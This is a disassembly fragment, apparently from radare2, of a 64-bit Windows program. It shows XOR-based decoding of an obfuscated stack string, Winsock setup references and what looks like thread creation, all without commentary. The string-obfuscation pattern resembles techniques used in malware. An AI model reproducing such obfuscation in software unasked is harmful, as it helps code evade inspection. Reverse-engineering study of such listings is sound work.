mov rcx, qword [rsp + 0x730]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ef6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a39e
call fcn.14008bb34
mov qword [rsp + 0x740], r12
mov qword [rsp + 0x748], 0xf
mov byte [rsp + 0x730], 0
lea rcx, [rsp + 0x780]
call fcn.14007f150
mov al, 1
jmp 0x14000a32b
movdqa xmm1, xmmword [0x1402290d0]
movdqu xmmword [rsp + 0x670], xmm1
movdqa xmm2, xmmword [0x1402293e0]
movdqu xmmword [rsp + 0x680], xmm2
mov cl, 0x23
mov r8b, 0x65
mov r9b, 0x6c
mov r10b, WSAStartup
movzx r11d, cl
mov bl, 0x6b
mov dil, 0x66
mov sil, reloc.WS2_32.dll_WSAGetLastError
mov r14b, reloc.WS2_32.dll_WSAStartup
mov r15b, 0x2d
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x671], al
xor byte [rsp + 0x672], dl
xor byte [rsp + 0x673], dl
xor byte [rsp + 0x674], dl
xor byte [rsp + 0x675], dl
xor byte [rsp + 0x676], dl
xor byte [rsp + 0x677], dl
xor byte [rsp + 0x678], dl
xor byte [rsp + 0x679], dl
xor byte [rsp + 0x67a], dl
xor byte [rsp + 0x67b], dl
xor byte [rsp + 0x67c], dl
xor byte [rsp + 0x67d], dl
xor byte [rsp + 0x67e], dl
xor byte [rsp + 0x67f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x680], al
xor byte [rsp + 0x681], dl
xor byte [rsp + 0x682], dl
xor byte [rsp + 0x683], dl
xor byte [rsp + 0x684], dl
xor byte [rsp + 0x685], dl
xor byte [rsp + 0x686], dl
xor byte [rsp + 0x687], dl
xor byte [rsp + 0x688], dl
xor byte [rsp + 0x689], dl
xor byte [rsp + 0x68a], dl
xor byte [rsp + 0x68b], dl
xor byte [rsp + 0x68c], dl
xor byte [rsp + 0x68d], dl
xor byte [rsp + 0x68e], dl
xor byte [rsp + 0x68f], dl
xor cl, dl
mov byte [rsp + 0x690], cl
xor r8b, dl
mov byte [rsp + 0x691], r8b
xor r9b, dl
mov byte [rsp + 0x692], r9b
xor r10b, dl
mov byte [rsp + 0x693], r10b
xor r11b, dl
mov byte [rsp + 0x694], r11b
xor bl, dl
mov byte [rsp + 0x695], bl
xor dil, dl
mov byte [rsp + 0x696], dil
xor sil, dl
mov byte [rsp + 0x697], sil
xor r14b, dl
mov byte [rsp + 0x698], r14b
xor r15b, dl
mov byte [rsp + 0x699], r15b
mov byte [rsp + 0x69a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b0], xmm0
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], r12
lea rax, [rsp + 0x671]
inc r13
cmp byte [rax + r13], 0
jne 0x14000a0f1
mov r8, r13
lea rdx, [rsp + 0x671]
lea rcx, [rsp + 0x6b0]
call fcn.140003a80
nop
lea rcx, [rsp + 0x6b0]
call fcn.14000ce30
mov ecx, 1
call fcn.14008b8b0
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0x658]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140004250]
xor edx, edx
xor ecx, ecx
call fcn.140092908
mov qword [rsp + 0x650], rax
test rax, rax
je 0x14000a3bc
cmp dword [rsp + 0x658], 0
jne 0x14000a3a4
mov rdx, qword [rsp + 0x6c8]
cmp rdx, 0xf
jbe 0x14000a1ba
inc rdx
mov rcx, qword [rsp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a3aa
call fcn.14008bb34
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], 0xf
mov byte [rsp + 0x6b0], 0
lea rcx, [rsp + 0x798]
call fcn.14000ab00
nop
mov rcx, qword [rsp + 0x6e0]
test rcx, rcx
je 0x14000a246
mov rax, qword [rsp + 0x6f0]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a22d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a3b0
call fcn.14008bb34
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x6e0], xmm0
mov qword [rsp + 0x6f0], r12
lea rcx, [rsp + 0x7b0]
call fcn.14000ab00
nop
cmp byte [rsp + 0x7e0], 0
je 0x14000a273
mov rcx, qword [rsp + 0x7d0]
test rcx, rcx
je 0x14000a273
call qword [rsp + 0x7c8]
nop
lea rcx, [rsp + 0x778]
call fcn.14001b2a0
nop
lea rcx, [rsp + 0x750]
call fcn.140082290
nop
lea rcx, [rsp + 0x758]
call fcn.14007fd70
nop
lea rcx, [rsp + 0x760]
call fcn.140080ab0
nop
lea rcx, [rsp + 0x768]
call fcn.14007f760
nop
mov rdx, qword [rsp + 0x748]
cmp rdx, 0xf
jbe 0x14000a2fc
inc rdx
mov rcx, qword [rsp + 0x730]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a2f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a3b6
call fcn.14008bb34
mov qword [rsp + 0x740], r12
mov qword [rsp + 0x748], 0xf
mov byte [rsp + 0x730], 0
lea rcx, [rsp + 0x780]
call fcn.14007f150
xor al, al
jmp 0x14000a32b
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.14008b890
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
int3
call fcn.140092e28
int3
call fcn.14000b020
call fcn.140001f50
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.1400929f0
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
mov dword [rsp + 0x658], r12d
mov ecx, 6
call fcn.140087840
int3